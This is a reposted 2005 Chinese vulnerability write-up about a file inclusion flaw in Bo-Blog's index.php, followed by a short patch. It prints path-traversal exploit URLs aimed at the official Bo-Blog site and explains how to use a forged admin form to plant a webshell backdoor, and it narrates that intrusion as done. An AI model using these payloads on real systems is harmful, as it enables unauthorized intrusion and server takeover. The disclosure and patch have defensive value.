bo-blog index.php include任意php檔案漏洞

來源:互聯網
上載者:User
文章作者:我非我[F.S.T]
資訊來源:邪惡八進位資訊安全團隊(www.eviloctal.com)

注意:本文首發Firefox技術聯盟(www.wrsky.com) 並由Firefox成員我非我友情提交到邪惡八進位資訊安全團隊

這就是我滲透八進位的漏洞。官方已發補丁。
漏洞發現日期:2005.6.13
漏洞涉及版本:Bo-Blog Version <= 1.7.0108(未打補丁前)
漏洞分析及利用:
剛發現bo-blog的一個致命的漏洞。我是看1.7.0095版本的。不過估計最新的也有這個漏洞.在index.php中的job變數沒有過濾.導致使用者可以任意include一個php檔案.
index.php
----------------------可愛的分割線-----------------------------
[codz begin]
33 if (empty($job)) $job="listall";
34 if ($job=="main") $job="listall";

178 if (!file_exists("include/$job.php")) $job="listall";
179 include ("include/$job.php"); //未加過濾,只是判斷是否有這個$job.php檔案,然後就include了.
[codz end]
----------------------可愛的分割線-----------------------------
我們可以通過這個$job變數include任何一個有php副檔名的檔案,只要他在伺服器上存在(我們可以通過../來繞過目錄).其實他的admin_cp.php檔案中一樣有這個問題.只不過要調用admin_cp.php檔案是要許可權的.所以我們就只能用index.php進行利用了.

現在我們開始測試,www.bo-blog.com這是他的主站。我們先來看看他的php設定.輸入:http://www.bo-blog.com/index.php?job=../admin/change&action=phpinfo
這個action是傳遞給admin/change.php的,作用是這個檔案可以顯示phpinfo.不用擔心不能調用.index.php是include了global.php的,定義了inwork.所以可以使用change.php而甚至不用登陸
得到了一些基本資料:Windows NT NS 5.2 build 3790 伺服器是php5的,safe_mode=On.
再來正式利用拿他的webshell。在http://www.bo-blog.com/index.php?job=../admin/ban這裡,本來是給admin在後台設定禁止ip/語言等的.但是同樣沒有過濾,導致我們可以直接寫入一個shell。但是我們必須自己構造一個表單,先看他的原檔案,我們用他還沒用過的那個bansearch(禁止搜尋字詞匯)。
----------------------可愛的分割線-----------------------------
[codz begin]
<table cellpadding=0 cellspacing=0 align=center width='95%' bgcolor='#000000'>
<tr><td>
<table cellpadding=5 cellspacing=1 width='100%'><form action=admin_cp.php?job=ban method=post>
<tr bgcolor='#E9F2FC'><td colspan=2><font color="#000000">禁止發布的詞彙,每個詞語用半形 , (逗號)隔開</font></td></tr>
<tr bgcolor='#FFFFFF'><td width=20%>敏感詞語:</td><td><textarea name="sensitive" rows=15 cols=80></textarea></td></tr><input type=hidden name=action value=savesensitive>
<tr bgcolor='#FFFFFF'><td colspan=2>輸入禁止的詞語,大小寫忽略</td></tr>
<tr bgcolor='#FFFFFF'><td colspan=2 align=center><input type=submit value=提交> <input type='reset' value=複原>
</td></tr></form>
</table>
[codz end]
----------------------可愛的分割線-----------------------------
我們把他另存新檔一個html檔案.注意.要把form欄裡的action=admin_cp.php?job=ban改為action=http://www.bo-blog.com/blog/index.php?job=../admin/ban才行.儲存好.然後開啟這個html.
在表單的htmlarea裡,我們寫個lanker的微型後門進去。點擊儲存.(這裡注意,不要有' " /等特殊字元.會被php自動加上/的.)
系統提示:
----------------------可愛的分割線-----------------------------
更新成功
儲存了禁止搜尋字詞。
----------------------可愛的分割線-----------------------------
成功了,呵呵.
來.我們用lanker後門的用戶端來串連試試.看到我們可愛的shell了嗎?說明什麼?說明成功啦~~

漏洞簡單修補:

在index.php中178 if (!file_exists("include/$job.php")) $job="listall"; 這一行前加上以下代碼:
$job = str_replace(".","",$job);
$job = str_replace("/","",$job);

測試bo-blog官方網站的利用動畫:
http://www.wofeiwo.info/boblog.rar

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.